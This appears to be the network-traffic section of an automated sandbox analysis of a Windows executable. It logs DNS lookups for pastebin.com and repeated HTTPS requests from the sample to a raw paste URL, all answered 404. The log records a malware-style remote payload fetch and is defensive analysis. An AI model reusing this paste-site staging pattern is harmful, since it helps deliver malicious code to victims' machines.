Jul 2, 2024 16:33:13.303699970 CEST	55029	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:13.303714991 CEST	443	55029	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:13.777765036 CEST	443	55029	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:13.825896978 CEST	55029	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:14.821356058 CEST	55029	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:14.821379900 CEST	443	55029	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:14.934118986 CEST	443	55029	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:14.934215069 CEST	443	55029	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:14.934523106 CEST	55029	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:14.934864998 CEST	55029	443	192.168.2.6	104.20.4.235

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 16:29:15.681484938 CEST	51562	53	192.168.2.6	1.1.1.1
Jul 2, 2024 16:29:15.689426899 CEST	53	51562	1.1.1.1	192.168.2.6
Jul 2, 2024 16:29:28.832123041 CEST	53	52314	1.1.1.1	192.168.2.6
Jul 2, 2024 16:31:14.340702057 CEST	59782	53	192.168.2.6	1.1.1.1
Jul 2, 2024 16:31:14.348575115 CEST	53	59782	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 2, 2024 16:29:15.681484938 CEST	192.168.2.6	1.1.1.1	0x93f9	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 16:31:14.340702057 CEST	192.168.2.6	1.1.1.1	0x49b5	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 2, 2024 16:29:15.689426899 CEST	1.1.1.1	192.168.2.6	0x93f9	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Jul 2, 2024 16:29:15.689426899 CEST	1.1.1.1	192.168.2.6	0x93f9	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Jul 2, 2024 16:29:15.689426899 CEST	1.1.1.1	192.168.2.6	0x93f9	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Jul 2, 2024 16:31:14.348575115 CEST	1.1.1.1	192.168.2.6	0x49b5	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Jul 2, 2024 16:31:14.348575115 CEST	1.1.1.1	192.168.2.6	0x49b5	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Jul 2, 2024 16:31:14.348575115 CEST	1.1.1.1	192.168.2.6	0x49b5	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49712	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:16 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:17 UTC	436	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Server: cloudflare CF-RAY: 89cf53bab9f503d5-EWR
2024-07-02 14:29:17 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:20 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:29:20 UTC	443	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 4 Server: cloudflare CF-RAY: 89cf53d4297e8ce6-EWR
2024-07-02 14:29:20 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49714	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:24 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:24 UTC	443	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 8 Server: cloudflare CF-RAY: 89cf53eb0db67279-EWR
2024-07-02 14:29:24 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49719	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:27 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:28 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 11 Server: cloudflare CF-RAY: 89cf5401ece60f46-EWR
2024-07-02 14:29:28 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	54763	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:31 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:31 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 15 Server: cloudflare CF-RAY: 89cf54190d9d429e-EWR
2024-07-02 14:29:31 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	54764	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:35 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:35 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 19 Server: cloudflare CF-RAY: 89cf542ffb3ec346-EWR
2024-07-02 14:29:35 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	54765	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:38 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:39 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 23 Server: cloudflare CF-RAY: 89cf5446dab27ce8-EWR
2024-07-02 14:29:39 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	54766	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:42 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:42 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 26 Server: cloudflare CF-RAY: 89cf545d998743fb-EWR
2024-07-02 14:29:42 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	54768	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:46 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:46 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 30 Server: cloudflare CF-RAY: 89cf54745e744225-EWR
2024-07-02 14:29:46 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	54769	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:49 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:49 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 33 Server: cloudflare CF-RAY: 89cf548b0dcc43e0-EWR
2024-07-02 14:29:49 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	54770	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:53 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:29:53 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 37 Server: cloudflare CF-RAY: 89cf54a1af62c411-EWR
2024-07-02 14:29:53 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	54771	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:29:57 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
